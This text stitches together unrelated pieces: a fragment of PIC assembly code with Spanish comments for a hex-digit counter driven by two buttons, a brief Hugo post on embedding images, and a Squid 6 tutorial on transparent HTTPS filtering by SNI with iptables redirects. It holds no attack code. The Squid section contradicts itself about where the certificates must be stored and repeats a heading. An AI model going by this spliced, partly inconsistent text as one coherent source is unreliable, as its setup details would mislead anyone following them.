esun4:
 nop
 MOVLW 4
 SUBWF sa, W
 BTFSS STATUS, Z
 return
 CALL cuatro
 return
esun5:
 nop
 MOVLW 5
 SUBWF sa, W
 BTFSS STATUS, Z
 return
 CALL cinco
 return
esun6:
 nop
 MOVLW 6
 SUBWF sa, W
 BTFSS STATUS, Z
 return
 CALL seis
 return
esun7:
 nop
 MOVLW 7
 SUBWF sa, W
 BTFSS STATUS, Z
 return
 CALL siete
 return
esun8:
 nop
 MOVLW 8
 SUBWF sa, W
 BTFSS STATUS, Z
 return
 CALL ocho
 return
esun9:
 nop
 MOVLW 9
 SUBWF sa, W
 BTFSS STATUS, Z
 return
 CALL nueve
 return
esun0:
 nop
 MOVLW 0
 SUBWF sa, W
 BTFSS STATUS, Z
 return
 CALL cero
 return
; terminan las numeros ---------------------------------------------------
esunA:
 nop
 MOVLW 10
 SUBWF sa, W
 BTFSS STATUS, Z
 return
 CALL a
 return

esunB:
 nop
 MOVLW 11
 SUBWF sa, W
 BTFSS STATUS, Z
 return
 CALL b
 return
esunC:
 nop
 MOVLW 12
 SUBWF sa, W
 BTFSS STATUS, Z
 return
 CALL c
 return
esunD:
 nop
 MOVLW 13
 SUBWF sa, W
 BTFSS STATUS, Z
 return
 CALL d
 return
esunE:
 nop
 MOVLW 14
 SUBWF sa, W
 BTFSS STATUS, Z
 return
 CALL e
 return
esunF:
 nop
 MOVLW 15
 SUBWF sa, W
 BTFSS STATUS, Z
 return
 CALL f
 return
;********************************************************************************************************
revisarintoverflow:
 nop
 call esmin0 ; no permite que llege a 0
 call esmax15 ; no permite que llege a 15
 return
esmax15:
 nop
 MOVLW 16
 SUBWF sa, W
 BTFSS STATUS, Z
 return ;// esto es igual a !=
 movlw 0x00 ; Cargar el nuevo valor (0x01) en el registro W
 movwf sa ; Transferir el valor de W a 'sa'
 return
esmin0:
 movlw 0xFF
 subwf sa, W ; 
 btfss STATUS, Z ; esto es igual a != 
 return ; 
 movlw 15
 movwf sa
 return
;********************************************************************************************************
 ;incf sa, f aumenta
 ;decf sa, f decrementa
 acsListener:
 BTFSS PORTC, 0 ; Comprobar si el botón en RC0 está presionado 
 incf sa, f
 return
 descListener:
 BTFSS PORTC, 1 ; Comprobar si el botón en RC1 está presionado
 decf sa, f
 return
 controldebotones:
 call acsListener
 call descListener
 return
;********************************************************************************************************
noop:
 nop
 nop
 nop
 nop
 nop
 return
 END

How to Add Images to Your Hugo Posts

Sat, 07 Jun 2025 10:30:00 -0600

Adding images to your Hugo posts is simple using Markdown.

Embedding an Image

You can embed an image like this:

![Alt text for the image](/images/my-awesome-image.jpg)

Make sure your image files are located in the /static/images/ folder (or wherever you prefer to store static assets).

Image with a Caption

Some themes might support captions. Check your theme’s documentation!

Squid proxy 6.0 for Https Filter [Ubuntu 24.04 LTS] [Transparent Proxy]

Sat, 07 Jun 2025 10:30:00 -0600

Squid Proxy is a great tool that allows us to do multiple things; one of them is to function as a forward proxy, and with the use of ACLs, we can filter sites using the SNI.

installation

Squid proxy is installed via apt-get. The squid-openssl version is of interest to us since it contains ssl-bump. If our distribution does not include squid-openssl, it must be installed manually.

sudo apt-get install squid-openssl

We generate the SSL certificates, remember they must be in /etc/squid/ssl; otherwise, Squid will not trust the certificate.

cd /etc/ssl/
sudo openssl ecparam -name prime256v1 -genkey -noout -out sslsquid.key
sudo openssl req -x509 -days 365 -nodes -key sslsquid.key -out sslsquid.crt

For Squid Proxy 6.0, it gives the following error if it’s not installed in /etc/ssl/.

× squid.service - Squid Web Proxy Server
 Loaded: loaded (/usr/lib/systemd/system/squid.service; enabled; preset: enabled)
 Active: failed (Result: exit-code) since Fri 2024-06-07 05:48:16 CST; 4s ago
 Duration: 25min 6.288s
 Docs: man:squid(8)
 Process: 4522 ExecStartPre=/usr/sbin/squid --foreground -z (code=exited, status=1/FAILURE)
 CPU: 54ms

Jun 07 05:48:16 toor-VMware-Virtual-Platform squid[4522]: 2024/06/07 05:48:16| Finished. Wrote 0 entries.
Jun 07 05:48:16 toor-VMware-Virtual-Platform squid[4522]: 2024/06/07 05:48:16| Took 0.00 seconds ( 0.00 entries/sec).
Jun 07 05:48:16 toor-VMware-Virtual-Platform squid[4522]: 2024/06/07 05:48:16| FATAL: No valid signing certificate configured for HTTPS_port [::]:3135
Jun 07 05:48:16 toor-VMware-Virtual-Platform squid[4522]: 2024/06/07 05:48:16| Squid Cache (Version 6.6): Terminated abnormally.
Jun 07 05:48:16 toor-VMware-Virtual-Platform squid[4522]: CPU Usage: 0.060 seconds = 0.047 user + 0.013 sys
Jun 07 05:48:16 toor-VMware-Virtual-Platform squid[4522]: Maximum Resident Size: 74752 KB
Jun 07 05:48:16 toor-VMware-Virtual-Platform squid[4522]: Page faults with physical i/o: 0
Jun 07 05:48:16 toor-VMware-Virtual-Platform systemd[1]: squid.service: Control process exited, code=exited, status=1/FAILURE
Jun 07 05:48:16 toor-VMware-Virtual-Platform systemd[1]: squid.service: Failed with result 'exit-code'.
Jun 07 05:48:16 toor-VMware-Virtual-Platform systemd[1]: Failed to start squid.service - Squid Web Proxy Server.

To configure Squid, we do the following:

 cd /etc/squid/
 sudo nano squid.conf

To configure Squid, we do the following:

http_port 3131 intercept
https_port 3135 intercept ssl-bump tls-cert=/etc/ssl/sslsquid.crt tls-key=/etc/ssl/sslsquid.key generate-host-certificates=on dynamic_cert_mem_cache_size=16MB
http_access allow localnet

Uncomment the following line.

#Default:
 sslcrtd_program /usr/lib/squid/security_file_certgen -s /var/spool/squid/ssl_db -M 4MB

We have to configure iptables so that the traffic goes through squid proxy

sudo iptables -t nat -I PREROUTING -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 3135
sudo iptables -t nat -I PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 3131
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo sysctl -w net.ipv4.ip_forward=1

Access Controls

We create a file where the domains to be blocked will be

 sudo mkdir /blockwebsites
cd /blockwebsites
sudo nano list1

We add example.com as an example.

example.com

Block web site via SNI (Server Name Indication)

sudo nano /etc/squid/squid.conf

We add the following at the end of the configuration.

acl monitoredSites ssl::server_name "/blockwebsites/list1"
ssl_bump terminate monitoredSites
ssl_bump peek all
ssl_bump splice all

In this case we do not want to interfere with the original certificate we use ssl_bump peek all ssl_bump splice all

https://wiki.squid-cache.org/Features/SslPeekAndSplice

The website is working without installing any certificate on the client

Block QUIC using the firewall policy.

Squid Proxy does not support QUIC, so we have to disable it.

sudo iptables -I FORWARD -p udp --dport 443 -j REJECT --reject-with icmp-port-unreachable